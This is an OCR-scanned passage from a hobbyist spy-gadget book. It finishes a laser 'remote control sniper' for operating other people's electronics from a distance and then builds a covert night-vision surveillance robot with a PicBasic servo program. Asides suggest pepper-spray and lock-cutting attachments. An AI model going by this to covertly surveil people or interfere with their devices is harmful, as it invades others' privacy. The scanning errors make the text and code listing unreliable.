original  LED  back  onio  the  output  cord  of  the 
universal  remote  (o  make  sure  it  is  working  and 
that  (be  codes  are  properly  set  for  your  television. 
If  (his  remote  control  is  indeed  working,  recheck 
your  wiring,  and  test  for  a laser  output  in  the  wall 
again  with  the  video  camera.  Once  you  have 
control  of  your  television,  see  how  far  away  you 
can  aim  the  unit  without  actually  seeing  the  laser 
bcam^^noi  very  far,  I would  imagine!  As  you  can 
see  (or  not  see),  (be  laser  beam  must  strike  the 
target  equipment's  receiver  with  great  precision  in 
order  to  send  the  remote  control  codes  to  the 
demodulation  module.  Remember,  the  fact  that 
your  projected  infrared  light  source  is  no  more 
than  a millimeter  in  diameter  will  work  in  your 
favor  when  you  target  distant  equipment,  a 
function  that  the  trusted  old  infrared  LEDs  that 
come  with  the  remote  control  cannot  achieve.  With 
a system  of  accurate  targeting,  the  world  will  be 
your  entenaiiiment  system,  and  you  have  the  only 
remote! 

Figure  14'28  shows  the  system  1 used  to  cope 
with  ibe  l<ng-range  laigetlng  dilemma,  a very  low 
lux  video  camera  capable  of  almost  perfect  night 
vision  connected  to  a 30  x power  gun  sight.  All  I 
have  to  do  is  look  at  the  video  monitor  as  i aim  the 
laser  spot  at  the  target  device  for  a perfect  hit  every 
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Project  90— Remote  Control  Sniper 


Rgure  A vidto  camera  and  gun  sighs  make 

sargering  very  easy. 

time.  The  low  lux  video  camera  is  great  in  low 
light  conditions,  and  the  ioscr  spot  shows  up  as  a 
briiliant  source  of  light  hundreds  of  feel  away, 


The  modulator  box  is  aligned  so  that  the  laser 
beam  points  directly  along  the  line  of  sight  of  the 
camera  and  gun  sight,  and  the  remote  control  is 
tethered  by  a long  enough  cable  co  comfortably 
hold  while  aiming  the  tripod.  This  configuration 
is  highly  accurate,  easy  to  aim.  and  produces 
great  re»i1ts  on  most  domestic  remote  controlled 
devices,  although  it  con  take  a bit  of  ‘‘hacking" 
in  onler  to  guess  the  proper  control  code  that 
needs  to  be  set  on  the  universal  remote  control, 
especially  if  you  cannot  identity  the  target  device 
visually.  With  a little  practice,  you  will  start  to 
recognize  certain  makes  of  equipment  by  their 
c^inei  styles,  and  when  the  lime  comes  to  shut 
down  the  loud  party  across  the  street,  you  will  only 
have  to  “point  and  shoot."  This  project  is  truly  a 
gift  to  those  who  feel  powerful  when  the  remote 
control  is  in  their  hands! 

In  the  next  section,  our  coven  missions  advance 
to  new  levels  with  a fully  functional  remote 
controlled  spy  robot  equipped  with  audio,  video 
and  night  vision. 
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Section  Fifteen 


Build  a Mini  Video 
Controlled  Spy  Robot 


Project  91 — Haddng  a Remote  Control  Toy  Base 


If  you  plan  on  using  your  ROV  indoors,  then  the 
hcany  4x4  track  may  be  overkill,  and  because  of 
the  availability  of  ultracompact  cameras  ami 
transmiiters,  the  ROV  could  be  made  small  enough 
lo  roll  under  most  indoor  fumiaire  for  an  ultra 
stealthy  indoor  spy.  For  example,  while  writing 
this  book.  I had  u somewhat  completed  version  of 
my  ultra  small  ROV,  utilizing  the  smallest  video 
camera  and  iransmiiier  available  on  my 
workbench.  However,  when  completed,  this  fully 


This  video  controlled  robot  will  project  your  vision 
and  hearing  to  for  away  places,  or  into 
environments  that  are  not  acce.ssible  by  humans. 
This  little  shoebox  sized  rover  is  built  using 
nothing  more  than  the  pans  from  an  old  remote 
controlled  toy  and  some  audio  video  electronics, 
yet  is  just  os  capable  as  many  robots  used  by 
police  and  military.  You  won't  be  breaking  through 
any  doors,  or  deflecting  any  stray  bulleia  with  (his 
little  unit,  but  with  the  right  4>wheel  drive  toy 
base,  this  unit  will  be  capable  enough  to  traverse 
just  about  any  terrain  from  mud  to  snow,  and 

wiuld  jsiilv  iUFvivj  1 tumkie  down  a flishi  of 

stairs.  The  remotely  operated  vehicle  (ROV) 
carries  a sensitive  microphone  and  preamp,  a 
stealthy  low  lux  video  camera,  and  an  array  of 
infrared  LEDs  that  allow  it  to  be  operated  in  total 


darkness.  All  ol  me  technology  used  lo  make  this 
robot  was  explored  in  detail  in  other  projects 
throughout  this  book,  and  there  is  a lot  of  room  to 
customize  your  own  ROV  based  on  the  plans  in 
this  section,  and  your  available  parts.  The  first 
thing  you  will  need  is  some  type  of  remote 
controlled  tov  vehicle  with  a sturdy  base. 


preferably  a 4- wheel  drive.  I chose  the  4 x 4 track 
shown  in  Figure  13-1.  as  it  is  a very  comimm  and 
inexpensive  nll-ierrain  truck  with  a nice  low  gear 
ratio  for  climbing  over  just  about  anything. 


FigufP  15*1  An  e/Merra/n,  /oy  fnicJc 

Jjose, 
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Project  92— Creating  the  Weatherproof  Shell 


Figure  IS'M  Welding  the  suUs  and  top  to fnm  the 
basic  ROV  cover. 


debris  ahead  of  che  vehicle.  1 left  more  than 
enough  room  above  ihe  original  chassis  for  the 
iransmiuer.  extra  batteries,  and  microphone 
electronics  by  cutting  the  sides  into  on  arc  from 
front  to  back.  This  design  is  pretty  boring,  but 
since  the  goal  here  is  not  to  be  seen,  the  more 
neutral,  (he  better.  Welding  (he  body  together  is  a 
Kimple  process  If  you  have  the  equipment.  Simply 
tack  weld  the  front  and  rear  panels  to  the  two 
sides,  then  start  tacking  and  bending  the  rounded 
top  along  the  edges  as  shown  in  Figure  15*4.  This 
process  would  work  equally  as  well  if  you  were 
soldering  the  edge.s  of  the  meiaJ  together,  or  using 
I -shaped  brackets  and  rivets.  You  may  also  want  to 
have  a look  at  how  heating  ducts  an  folded 
together  This  is  on  art  that  will  also  produce  a 
nicely  sealed  and  sturdy  joint. 

Once  the  cover  is  tack  welded,  or  temporarily 
held  together  by  whatever  means  you  are  using, 
give  it  a trial  fit  on  the  chassis  to  make  sure  your 
original  measurements  were  correct.  The  body 
should  fit  over  (he  base  without  interfering  with 
the  drive  wheels  or  steering  wheels  when  turned  at 


Figure  IS-S  Even  when  only  tack  welded  together,  the 
new  cover  is  very  sturdy. 

their  most  extreme  angles.  I was  building  a cover 
that  hi  exactly  around  the  base  where  the  original 
body  was  mounted,  so  there  was  no  room  for  error. 
If  you  are  using  some  alternative  form  of  mounting 
the  cover  to  the  chassis,  now  is  the  time  to  work  it 
out.  jusi  in  case  you  have  to  modify  the  cover. 

Even  at  this  stage,  with  the  five  pieces  only  tack 
welded  logeiher,  1 could  have  placed  the  cover  on 
(he  floor  and  jumped  up  and  down  without 
damaging  it  in  any  way — a sure  sign  that  my  ROV 
will  be  able  to  survive  enemy  contact  if  it  had  to, 
Hopefully  my  ROV  will  never  come  into  contact 
with  an  angry  ’'target.'’  or  head  down  a flight  of 
steep  concreie  stairs  during  an  unexpected  escape 
run.  but  if  so.  ii  will  most  likely  survive  with  only 
a few  scratches  and  dents.  Figure  15-5  shows 
how  my  steel  cover  will  look  on  the  chassis, 
much  more  serious  and  rugged  than  the  original 
4x4  (ruck  did. 

lb  secure  the  cover  to  the  chassis.  I drilled  the 
boles  in  the  steel  where  the  original  screws  were 
positioned  on  the  plastic  truck  body.  It  would  be 
easy  to  remove  the  cover  for  service  or 
modification  of  the  electronics,  and  the  whole  unit 
would  be  split  into  two  separate  sections — the 
original  dris'e  chassis,  and  all  of  the  audio  video 
electronics  In  the  cover.  Because  the  entire  audio 
video  section  was  to  be  mounted  directly  to  the 
solid  base  cover,  it  could  be  tested  and  worked  on 
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without  having  the  chassis  on  the  svorkbeocb  by 
simply  supplying  the  necessary  power  from  two 
wires.  Removal  of  the  top  cov^  would  only 
require  unplugging  one  connecter  after  removing 
the  four  screws.  Always  plan  to  take  things  apart, 
or  you  will  be  spending  a lot  of  liioe  cutting  wires 
and  removing  bolts  and  screws  just  to  make  fine 
adjustments  or  slight  modifications.  This  modular 
design  would  also  allow  different  covers  to  be 
designed  for  missions  requiring  altemabve 
hardware.  For  a coven  operation  where  ultra  high 
detail  photos  might  be  required,  a cover  containing 
the  trigger  modified  digital  camera  from  earlier  in 
the  book  could  be  mounted  on  a heavier  servo 
operated  turret  with  pan  and  tilt.  How  about 
firefighting  operations?  A fire  extinguisher  with 
the  trigger  connected  to  a solenoid  would  be  able 
to  snuff  out  small  fire.s.  or  chase  away  pesky 
garden  dwelling  critters  munching  away  on  your 
crop.  Mourn  a very  small  camera  on  a top  mounted 
robotic  arm.  and  your  robot  could  drive  right  under 
a vehicle  and  search  out  explosives  or  dangerous 
contraband  while  you  observe  from  a safe  diMance, 
just  as  law  enforcement  and  military  robots.  With  a 
4-foot  aluminum  tube  mounted  vertically  to  the 
base,  and  a con  of  pepper  spray  connected  to  a 
solenoid  trigger,  your  robotic  security  guard  could 
wander  up  and  down  ihe  hallways  of  your 
'Secured'*  area  waiting  to  disable  intruders.  In 
reality,  the  ROV  can  do  just  about  anything  you 
ask  of  it  with  Ihe  proper  hardware.  My 
requirements  are  simple  covert  information 
gathering  operations,  so  ihc  audio  and  video 
transmitter  is  going  to  be  enough.  1 do,  however, 
want  to  work  in  whatever  elements  Mother  Nature 


Project  93 — Adding  a 

Another  option  1 wanted  my  ROV  to  have  was  a 
servo  controlled  pan  camera  head,  like  the  ones 
described  earlier  in  this  book  for  security 
monitoring.  It  would  conserve  a lot  of  battery 


RgufB  15-B  Fully  welded,  ihe  cover  will  be  ready  far 
ihe  elemems. 


feels  like  handing  out  including  daylight,  pitch 
darkness,  rain,  snow,  and  rough  terrain,  so  a fully 
weatherproof  cover  will  be  needed.  At  this  point, 
the  rain  would  get  right  through  the  cracks  in  the 
cover,  so  1 will  be  welding  the  entire  seam,  then 
grinding  it  smooth  for  a nicer  look  after  painting 
(see  Figure  i5-6). 

It’s  worth  the  effort  to  create  a sturdy, 
weatherproof  cover  for  this  project,  as  you  will  end 
up  with  a very  functional  ROV,  rather  than  a toy 
with  a camera  stuck  to  it.  If  you  are  using 
materials  other  than  metal,  or  decided  to  rivet  the 
pans  together,  then  it  is  a good  idea  to  seal  all  of 
the  cracks  with  some  i>pe  of  water  resi}<tam 
sealant.  Even  if  it's  not  preny  to  look  at.  ii  beats 
having  your  camera  short  out  from  an  unexpected 
source  of  water.  Auto  body  filler  can  do  wonders 
on  just  about  any  material,  and  with  a bit  of 
sanding,  your  cover  can  look  as  smooth  as  the  one 
I made  by  welding  and  grinding  steel  pieces 
together,  even  if  wood  w-as  your  original  maierial. 


Panning  Camera  Head 

power  to  just  move  the  camera  head  back  and  forth 
to  surx*ey  the  scene  rather  than  having  to  reposition 
the  ROV  to  track  the  target.  The  liRle  servo  motor 
would  use  a lot  less  power  than  the  large  drive 
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Project  93— Adding  a Panning  Camera 


Project  93— Adding  a Panning  Camera  Head 


Figure  I5'7  three  suei panels  that  wili  maJce  up 
the  camera  head. 


Rgure  15-9  The  Mvlded  camera  head,  mounting  block 
and  servo. 


motors,  and  it  would  be  a iM  quieter  as  well, 
especially  if  wortdng  close  io  the  linnet.  Since  1 
was  already  cuiiini  sheet  metal,  and  there  was 
plenty  left  over  from  the  original  ]»ece.  1 cut  three 
shapes  that  would  form  a small  half  cylinder  shape 
to  contain  my  video  camera,  and  a handful  of 
infrared  LEDs  used  to  create  a stealthy  night 
vision  system  like  the  ones  described  earlier. 
Although  1 made  my  camera  head  from  steel  plate 
(see  Figure  15*4).  just  about  any  enclosure 
including  those  inexpetisive  plastic  hobby  boxes 
would  be  ideally  suited  to  contain  a small  camera 
and  a few  LEDs — it  is  important  hoNS'ever.  to  keep 
the  camera  dry  in  the  event  of  unexpected  moisture 
such  as  rain,  or  the  from  lawn  sprinkler  system. 

I left  just  enough  room  inside  the  camera  head  to 
place  my  CCD  camera,  an  array  of  24  LEDs,  ami 
of  course,  the  actual  servo  motor  that  will  pan  the 
head  left  and  right.  1 thought  about  making  the 
enclosure  a lot  bigger  for  future  expansion,  but  it 
would  be  just  as  easy  to  create  a series  of 
replaceable  multi- function  heads  to  suit  the  job. 
Since  the  camera  head  would  be  held  to  the  cover 
with  a single  screw  on  the  shaft  of  the  servo,  it 
would  be  very  easy  to  iuiercbange  the  bead  on  site 
if  needed.  Possible  ideas  for  replacement  heads 
included  a digital  camera  housing.  high*power 
laser  night  vision  video  camera  head,  even  a 


high-speed  cutting  tool  for  q>eraiions  requiring 
some  manipulation  of  wires,  or  locks  to  gain  enuy. 
The  standard  RC  servo  used  for  the  camera  head 
has  plenty  of  torque  and  strength  to  handle  the 
small  steel  box.  and  although  the  toy  truck  I used 
for  the  chassis  has  no  provision  for  this  type  of 
servo  on  its  receiver  board.  It  won't  be  hard  to 
"hack**  into  it  to  add  the  left  and  right  servo 
commands. 

Rrst,  let's  gel  the  mechanical  pans  for 
the  camera  head  built  and  mounted  to  the 
cover.  Just  as  I fully  welded  and  ground  smooth 
the  five  pieces  when  making  the  top  cover,  1 have 
done  the  some  with  this  camera  head,  making  sure 
k would  not  allow  moisture  into  ihc  clecrronics 
inside.  Figure  I5*S  shows  the  completed  camera 
head,  the  small  box  that  will  join  the  servo  shaft 
to  the  cover,  and  the  actual  servo  for  size 
ccunporison.  The  servo  will  be  contained  right 
in  the  camera  head,  with  its  output  shaft 
l^otruding  from  the  oblong  hole  cut  into  the 
bottom  plate  <^)own  on  the  top  of  the  head  in 
the  photo). 

The  oblong  hole  cut  in  the  camera  head 
conforms  to  the  collar  on  the  output  side  of  the 
servo  motor,  and  with  this  design,  the  servo  motor 
will  be  held  securely  in  place  in  the  camera  head. 
50  no  other  fasteners  will  be  necessary.  The  output 
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Figure  15-9  Tht  servo,  comero  head  and  moufuing 
block  connected  together. 
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Ft9L>re  15*1D  The  mounling  Mock  welded  lo  the  HOV 
cover. 


shaft  from  ihe  s«rvo  and  (he  hole  cut  in  the  camera 
head  will  be  placed  facing  the  ground  to  funher 
protect  The  inside  of  the  camera  head  from 
moisture  penetration.  With  a small  bit  of  rubber  cut 
from  on  old  bicycle  inner  tube  as  a gasket,  (his  will 
even  further  help  protect  the  camera  from  the 
environment  by  creating  a watertight  seal.  To 
connect  the  camera  head  to  the  mounting  block, 
the  plastic  servo  arm  will  be  cut  to  conform  to  the 
inside  of  the  mounting  block,  then  bolted  lo  the 
servo  output  shaft  as  shown  in  Figure  I5-9.  Try  to 
get  the  mounting  block  and  camera  head 
po.sitiuned  so  that  the  head  acki  block  are  both 
centered  when  the  ser%'o  output  shah  is  at  iLs  center 
of  travel.  This  can  be  done  simply  by  turning  the 
servo  shaft  to  both  exirctnc«  to  guess  the  center 
position,  or  by  connecting  it  to  an  RC  receiver  to 
atnomatically  locate  its  center  position.  Once  you 
find  center,  mark  it  on  the  servo  shaft  to  make  this 
job  easier  next  time. 

With  the  mounting  block  and  camera  head 
working  together,  it  is  now  time  to  weld  or  join  the 
mounting  block  to  the  cover.  Where  to  place  the 
head  in  relation  to  the  cover  is  a decision 
dependent  upon  both  function  and  builder's 
preference.  I chose  to  mount  my  camera  head 
straight  ofT  the  front  of  the  robot  so  (he  unit  would 


have  a lower  proflle,  allowing  it  to  travel  under  a 
parked  vehicle,  or  through  a heating  duct,  Placing 
the  camera  head  lower  than  the  top  curve  of  the 
cover  would  also  allow  twigs  and  debris  to  flow 
over  the  robot  rather  than  snagging  up  in  the  servo 
output  ^taft.  The  disadvantages  of  such  a low  head 
placement  is  the  ability  to  scan  a ?60-dcgrce  area 
when  panning  the  camera  left  and  right.  With  the 
conliguraijon  I use,  the  camera  head  can  mm  for 
enough  to  the  left  or  right  to  sec  the  area  on  both 
sides  of  the  ROV — If  an  angry  guard  dog  sneaks 
up  behind  the  robot  however,  it  will  be  a surprise 
attack  and  deployment  of  countermeasures  may 
come  (00  laie.  As  shown  In  Figure  15-10.  the 
mounting  block  is  welded  directly  to  the  from  of 
the  cover,  just  under  the  end  of  (he  top  strip.  The 
servo  output  shaA  will  be  placed  through  the  small 
hole,  and  then  secured  by  the  arm.  which  has  been  Q) 
cut  to  fit  Lightly  inside  the  mounting  block,  Wires  Q, 
from  the  head  to  the  inside  of  the  cover  will  feed 
through  a smalt  hole  sealed  by  a tight-fitting 
rubber  grommet. 

If  you  have  come  (his  far,  (hen  all  that  is  left  to 
do  is  pu(  ail  the  electronics  into  the  camera  head 
and  top  cover  in  order  to  get  your  ROV  mission 
ready.  Depending  on  what  pans  you  had  to  work 
with,  your  robot  may  look  something  like  mine,  or 
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Figure  15-11  The  vompfeied  cover  and  camera  head, 
ready  far  electronics. 


radically  different  Either  way,  it  won't  be  long 
now  before  you  are  sentUng  the  rugged  little  ROV 
out  to  do  your  bidding-  The  empty  shell  for  my  spy 
ROV,  shown  in  Figure  15-1 1,  is  ready  for  the  next 
step  of  the  build,  and  as  soon  as  I am  done  having 
fon  with  it  racing  all  around  the  house.  I shall  get 
on  with  it  Note:  house  pets  do  not  like  the  ROV  in 
any  way,  shape  or  form ! 

For  the  next  stage  of  the  build,  you  will  need 
your  video  camera,  and  lighting  system  of  choice, 
either  infrared  or  visible-  We  will  complete  the 
construction  of  the  camera  head  by  adding  all  of 
the  internal  c«npoDems. 
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To  mount  all  of  the  infrared  LEDs  and  camera  to 
the  ROV's  head,  some  type  of  front  panel  will  be 
needed,  Again,  1 just  cut  a small  bit  of  sheet  meial 
out  to  conform  to  the  open  front  of  the  camera 
head,  and  added  a small  bracket  that  would  allow 
me  to  secure  it  in  place  with  a single  bolt.  To  keep 
the  dements  out  of  the  electronics,  a rubber 
gasket  will  be  placed  between  the  from  panel  and 
the  edge  of  the  camera  head,  which  is  made  from 
a bit  of  inner  tube.  If  you  don’t  plan  on  opening 
Q the  panel  for  some  time,  a hot  glue  gun,  or 
(P  waterproof  caulking  could  also  be  used  to  seal  the 
*0  of  panel.  To  drill  the  25  holes  (24  for  the 
*H  LEDs.  1 for  the  camera).  I printed  a template  out 
^ on  my  computer  using  Adobe  Photoshop*,  and 
I then  used  it  to  center  punch  the  plate  before 
^ drilling.  The  final  front  panel  turned  out  nice 
and  straight,  and  the  boles  for  the  camera  only 
^ needed  a bit  of  hand  filing  to  achieve  a good  Gt. 

Q Figure  15-12  shows  the  drilled  front  panel, 

0 infrared  LEDs,  and  the  low  lux  co]or  camera  1 
•in  chose  for  the  eyes  of  my  ROV,  1 chose  a color 
0 camera  for  diversity,  even  though  it  was  not  nearly 
U us  sensitive  to  the  low  light  conditions  at  night  as 
^ the  block  and  white  camera  would  have  been.  Of 


course,  with  the  24  infrared  LEDs  installed,  this 
camera  would  perform  admirably,  even  in  low 
light  conditions. 

I mounted  the  camera  and  LEDs  into  snuggly 
filling  holes,  and  then  used  a hot  glue  gun  to  seal 
around  the  edges,  just  in  case  there  was  a gap  or 
something  struck  the  head  during  operation  into 
hostile  lerriiory.  The  hot  glue  gun  forms  a very 
waienight  seal,  yet  can  be  removed  with  a little 
prying  if  necessary,  without  damaging  the 
components.  If  your  video  camera  is  not  designed 
to  held  in  place  by  the  lens  housing  alone,  then 
make  sure  it  Is  fastened  in  some  way  that  suits  its 
design.  The  robot  will  take  a lot  of  abuse  when 
hilling  rough  terrain,  and  this  could  dislodge  your 
camera  causing  a short.  Figure  15*13  .shows  all 
25  LEDs  and  ihe  video  camera  securely  mounted 
and  sealed  to  the  front  panel. 

There  are  many  choices  for  lighting  on  a project 
like  this.  Infrared  LEDs  give  the  option  of  coven 
night  vision,  which  is  why  1 chose  them,  but  I also 
have  an  incandescent  flashlight  mounted  to  the 
top  of  my  ROV  as  you  will  see  in  later  photos. 
Sometimes  you  may  want  to  make  your  ROV  stand 
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f I g u re  ^5  *19  The  fwru  panel  drilled,  and  ready  for 
camera  and  LEDs. 
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RgufB  15-13  The  LEDs  and  video  camera  mnuiiied 
and  sealed 


Figure  15-N  Camera  and  LED  wiring  diagrum  for  l.S-volt  LED  operation. 


out,  especially  if  it  is  putting  on  a demonstration, 
or  interacting  with  a deadly  subject,  so  visible 
light  is  an  option.  There  are  also  many  types  of 
LEDs  on  the  market,  and  some  of  them  are 
extremely  bright,  which  is  why  most  iranic  lights 
and  automotive  tail  lights  are  now  using  them. 
Whichever  mode  of  LED  lighting  you  choose  to 
install,  make  sure  that  your  series/paraUel  wiring 
configuration  supplies  the  appropriate  voltage  if 


you  plan  to  ran  them  directly  from  the  battery  as 
opposed  to  pulsed  mode  operation.  Infrared  LEDs 
are  especially  sensitive  to  over  voltage,  and  will 
tfuickly  bum  out,  so  the  number  of  LEDs  you 
choose  is  impCHianL  1 have  24  LEDs,  each  rated 
for  U-volts.  so  my  series/paraJlel  wiring 
coQfjguraiion  is  shown  in  Figure  15-14.  Each  LED 
will  see  the  coirect  voltage  as  long  as  my  power 
supply  does  not  exceed  l2-vol(s, 
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Figure  ] 5 *15  Camera  and  LEO  wiring  diagram  for 
I.S-voli  LED  operation. 


The  camero  and  LEDs  are  fed  from  the  same 
12* volt  power  source^  and  since  this  is  a bauery. 
there  will  be  no  need  for  a regulator.  I cbuse  direct 
battery  operation  uf  the  LEDs  over  pulsed  mode 
operation  as  discussed  earlier  in  the  book,  as  my 
camera  was  just  so  good  at  Imaging  in  a low  Light 
environment,  that  the  increa.sed  brightness  of 
pulsed  mode  operation  may  acrually  swamp  the 
image  sensor  with  too  much  light.  If  the  ROV  was 
heading  into  an  area  that  might  require  a lot  of 
light,  I would  just  engage  the  detachable  halogen 


flashlight  otounted  to  the  top  of  die  unit.  With  the 
24  LEDs  set  up  for  direct  ftum  battery  operation, 

I can  pull  a decent  itn^e  30  feet  away  in  total 
darkness  by  replacing  the  color  camera  with  a low 
lux  black  and  white  unit;  this  range  would  most 
likely  extend  to  several  hundred  feet  or  more 
depending  on  the  quantity  of  moonlight  present. 
The  scaled  and  painted  camera  head  is  shown  in 
Figure  15-15,  ready  to  be  installed  on  the  ROV. 
Yes,  this  componem  would  also  moke  a nice  stand* 
alone  security  camera  ready  for  outdoor  mounting 
on  the  side  of  a building  ur  pole. 

The  next  thing  that  has  to  be  done  is  (he 
installation  of  the  video  transmitter,  audio 
preamplifier,  and  .servo  control  board^which  we 
will  build  as  a custom  controller  for  this  project. 
Since  the  original  toy  truck  did  not  use 
proportional  RC  servos  like  the  one  we  ore  using 
for  (he  camera  pan  function,  we  will  have  to  create 
a controller  that  will  interface  the  servo  to  the 
existing  remote  control  receiver.  You  could  just 
install  an  RC  receiver  to  control  this  servo,  but 
then  another  remote  control  transmitter  would  be 
needed,  and  this  adds  extra  complexity  and  would 
require  another  RP  channel.  I will  show  you  how 
to  build  a bridge  between  the  existing  toy  receiver 
and  this  servo  even  though  they  operate  on 
completely  dilferent  principles. 
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If  you  remember  the  earlier  pan  and  tilt  projects 
using  standard  RC  servos  like  the  one  in  our  ROV 
head,  you  will  recall  that  the  servo  expects  a series 
of  pulse  width  modulated  (PWMl  codes  to  be  sent 
(0  it  in  order  to  determine  its  position.  This  is  not  a 
problem  when  you  are  working  with  a standard  RC 
receiver— Just  plug  the  servo  directly  into  the  box. 
and  move  the  joystick  on  the  (nmsmitter.  This  is 
not  the  cose  with  this  project,  as  the  inexpensive 


toy  truck  ba.se  has  some  simple  proprietary  RC 
circuit  based  on  a combination  of  RF  and  logic 
gates  for  iu  control.  The  truck  is  not  proportional 
because  it  goes  full  speed  ahead,  reverse,  full  left, 
and  full  right  not  anywhere  in-between  those 
slates.  This  is  just  fine.  a.s  the  truck  is  slow 
moving,  and  will  not  be  bard  to  control  this  way, 
but  (his  leaves  no  simple  way  to  interface  the  RC 
servo. 
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Figure  15*16  A simple  RC  receiver  w sent*  bridfie  drcuit. 


[ did  noi  want  (o  add  u separaic  receiver  just  for 
one  servo,  so  [ devised  a method  io  bridge  the  RC 
servo  onto  the  eicisting  receiver  circuit.  Here  is 
how  it  works:  u microcontroller  running  a basic 
program  (explained  in  detail  later)  will  constantly 
monitor  the  state  of  the  four  functions  of  the 
existing  remote  control  receiver— forward,  reverse, 
left,  and  right.  1 don't  care  how  the  existing  RC 
receiver  works.  I am  simply  going  to  check  for  a 
voltage  at  the  output  wires  to  the  drive  motor,  and 
steering  motor  to  let  my  microcontroller  what  state 
the  receiver  is  currently  in.  which  will  be  one  of 
eight  possible  states:  (1)  forward  straight.  (2) 
forward  left,  (3)  forward  right.  (4)  rcverec.  (3) 
reverse  left,  (6)  reverse  right,  (7)  left  neutral,  t8) 
right  neutral  The  last  two  states,  left  neutral  and 
right  Qcuiral.  are  actually  tx>gus.  as  all  this  would 
do  is  flip  the  front  wheeb  left  or  right  while  the 
truck  is  sitting  still.  This  is  a good  thing  for  us. 
Because  these  two  slates  are  of  no  concern  to  the 
operation  of  the  ROV,  the  microcontroller  will 
move  the  servo  a bit  to  the  left  during  the  left 


neutral  state  and  a bit  to  the  right  during  the  right 
neutral  state.  What  this  equates  to  b this— when 
the  truck  is  not  moving,  you  Just  flip  the  left  and 
right  joystick  back  and  forth  to  pan  the  camera 
head,  and  when  the  truck  begins  to  move,  the 
microcontroller  will  put  the  camera  back  to  the 
center  position.  We  now  odd  full  panning 
functionality  to  the  unit  without  the  need  for  a 
second  remote  control  or  even  another  joystick. 
The  schematic  diagram  for  dtis  servo  bridge  is 
shown  in  Rgure  15*16. 

The  servo  bridge  is  based  on  a PlC16f62S 
microcontroller  running  a simple  program  coded 
in  PicBasic.  but  could  easily  be  made  to  work 
with  just  about  any  microcontroller  with  at  least 
five  available  t/0  pins.  The  main  drive  motor  and 
steering  motor  on  the  RC  ba.se  vehicle  both  have 
two  power  connecdoDS  each,  and  depending  on 
the  polarity  of  voltage,  this  will  make  the  motor 
turn  in  either  direcdon  controlling  both  the 
orientation  of  the  front  wheeb  and  the  drive 
direcdon  of  the  vehicle.  We  will  solder  a wire 
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from  each  terminal  on  both  motors  and  connect 
all  four  of  these  wires  to  the  microconiroUer 
through  lOKQ  resistors  to  limit  currenL  The 
program  simply  monitors  the  high  or  low  levels 
ai  the  input  pins  of  the  microcontroller,  and 
responds  with  the  appropriate  pulse  width 
modulated  signal  to  the  camera  head  servo.  The 
servo  puises  are  generated  by  a simple  liming 
loop  that  varies  the  pulse  widths  in  order  to 
control  the  servo  position.  Ha\‘e  a browse 
through  the  code  to  get  a handle  on  its  function, 
and  then  check  out  the  detailed  description  that 
follows. 


rcl  var  portb.0 
ccr  var  portb-1 
Fcf  var  ponb.2 
rcb  var  ponb.3 
pos  var  word 

: ISTARTUPJ 

gusub  center 

; (MAIN  LOOP) 
main: 


Listing  15.1  Servo  bridge 
control  program 

: [16F628A] 

® device  HS.OSC 
® Device  WDT.OFF 
^ Device  PWRT,OFF 
^ Device  BOD.OFF 
<9  Device  MCLR,OFF 
CMCON«7 
VRCONsO 

; [SETUP] 
define  osc  10 
output  poriu.2 
input  portb.0 
input  ponb.  I 
input  portb.2 
Input  portb.3 
output  portb.4 

; [VARIABLES] 
servo  var  porta.2 


: (CENTER  SERVO  IF  MOVING) 
if  ref  s 1 or  rcb  s I then  gosub  center 

; (LOOK  FOR  NEUTRAL) 
if  ref  s 0 and  rcb  » 0 then 

; (SERVO  LEFT) 
if  rcl  s 1 then  gosub  left 

; (SERVO  RIGHT) 

if  rcr  s 1 (hen  gosub  right 
endif 

I (SET  SERVO  POSITION) 
servo  = I 

Pauseus  1000  •(•  pos 
servo  = 0 
Pause  16 

goto  main 

: (SUBROUTINES) 
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: [ROTATE  SERVO  LEFTl 
left: 

If  pos  < 1000  Then 
pos  = pos  -h  10 
Endif 
Return 

; [ROTATE  SERVO  RIGHT] 
right: 

If  pos  > OThen 
pos  s pos  - 10 

Endif 

Return 

: [CENTER  SERVO] 
center; 
pos  = 500 
Return 

As  you  can  see.  there  really  isn't  a lot  of  code 
needed  to  control  an  RC  servo,  other  than  a few 
busic  loops  and  delays  to  get  the  timing  on  the 
mark.  As  shown  in  Fsgure  15- 17.  the  servo  bridge 
unit  fits  on  a small  square  of  perf  board  and  i$ 
mounted  directly  to  the  truck  chtusis.  There  are 
two  pairs  of  wires  that  feed  to  the  steering  and 
drive  motor  leads,  a pair  of  wires  that  connect  lo 
the  camera  head  servo,  and  one  pair  of  wires  to 
power  the  electronics  that  moke  up  (he  unit.  Before 
we  move  on.  I will  explain  how  each  block  of  the 
RC  bridge  source  code  works. 

[ 1 6F628 A]  Thi  s is  specific  to  the  PIC  1 6f628  and 
the  programmer  used. 

[SETUP]  Defines  which  pins  are  used  as  inputs 
and  outpuis. 

(VARIABLES]  These  are  (be  working  variables 
for  our  program:  *'servo'’  is  the  output  pulse  oo  pin 
A.2.  rcl  is  the  RC  left  command  input  pin  B.O.  rcr 


is  the  RC  right  command  input  pin  B.  1 . ref  is  the 
RC  forwanl  command  input  pin  B.2.  rcb  is  the  RC 
backwards  command  on  pin  b.3.  and  pos  is  the 
16  bit  variable  that  controls  the  pulse  witkb  to  the 
sen*o. 

[STARTUPI  When  the  circuit  is  first  powered  up, 
the  bead  must  be  centered,  so  the  center  subroutine 
is  colled  here. 

[MAIN  LOOP]  This  Is  the  start  of  the  main 
program. 

[CENTER  SERVO  IF  MOVING)  This  checks 
the  start  of  funs  ref  and  rcb.  to  deiennine  if  (he 
ROV  is  moving.  If  It  is.  then  the  head  is  set  to 
center. 

ILOOK  FOR  NEUTRAL]  This  checks  lo  see  if 
(be  ROV  is  sitting  idle,  and  if  so,  the  next  iwo 
blocks  of  eode  are  to  be  executed. 

[SERVO  LEFT]  If  (he  ROV  is  idle,  und  there  is  a 
signal  on  pin  ml,  then  (be  head  servo  will  rotate  to 
the  left. 

ISERVO  RiOHTl  If  the  ROV  is  idle,  and  there  is 
a signal  on  pin  rcr.  then  the  head  servo  will  rotate 
to  (he  right. 

(SET  SERVO  POSITION]  This  is  where  the 
dirty  work  of  control  ling  the  pulse  train  to  the 
servo  is  calculated.  Basically  it  is  a timing  loop 
(hat  first  sets  servo  s t,  causing  a logic  high  to  be 
sent  to  the  servo,  followed  by  some  delay  based  on 
1000  imcrosccoods  plus  the  number  in  variable 
pos.  then  a logic  zero  by  setting  servo  » 0.  A delay 
of  16  milliseconds  must  then  follow  according  to 
(he  servo  signal  specifications.  This  effectively 
